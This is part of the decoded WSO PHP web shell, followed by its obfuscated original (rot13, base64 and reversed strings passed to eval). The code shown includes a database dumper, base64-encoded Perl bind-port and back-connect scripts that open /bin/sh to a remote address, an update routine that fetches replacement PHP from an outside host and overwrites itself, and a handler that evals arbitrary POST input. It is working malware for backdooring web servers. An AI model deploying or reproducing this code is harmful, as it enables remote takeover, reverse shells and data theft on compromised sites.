				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	wsoFooter();
}
function actionNetwork() {
	wsoHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo '</div>';
	wsoFooter();
}

function actionUPDate() {
	wsoHeader();
	echo "<h1>UPdate</h1><div class=content>";
	function http_get_contents($url){
		$codex = @file_get_contents($url);
		if (empty($codex)){
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url);
			curl_setopt($ch, CURLOPT_HEADER, 0); 
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
			curl_setopt($ch, CURLOPT_TIMEOUT, 15);
			curl_setopt($ch, CURLOPT_COOKIESESSION,true);
			curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
			$urlPage = curl_exec($ch);
			curl_close($ch);
			return($urlPage);
		}else {
			return $codex;
		}
	}
	$php  = http_get_contents("http://filestack.live/96382367f90798e98d30f82012963197.htm");
	if(!preg_match("/<\?php/", $php)){ echo '<center><font color="red"><p>[-] Failed.</p></font></center>'; wsoFooter(); die(); }
	$namefile = basename(__FILE__);
	if(preg_match("/\.php/", $namefile)){
		preg_match("#(.*)\.php#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php';
	}elseif(preg_match("/\.php5/", $namefile)){
		preg_match("#(.*)\.php5#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php5';
	}elseif(preg_match("/\.php7/", $namefile)){
		preg_match("#(.*)\.php7#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php7';
	}elseif(preg_match("/\.phtml/", $namefile)){
		preg_match("#(.*)\.phtml#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.phtml';
	}
	file_put_contents($namefile, $php);
	echo "<center>./Done !<br></center>";
	echo "<script> location.href='$namefile'; </script>";
	wsoFooter();
}

function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"wso_version" => WSO_VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;

Did this file decode correctly?

Original Code

<?php $IQtJK = 'str'.'rev'; $gKfaz = 'bas'.'e64'.'_deco'.'de'; $uMZpV = 's'.'tr'.'_'.'rot1'.'3'; error_reporting(0); /***    qdijxsgrfubzmtgyqx nwou vi lras  ***/ ini_set('display_errors', 0); ini_set('log_errors', 0); eval($uMZpV($gKfaz($IQtJK('=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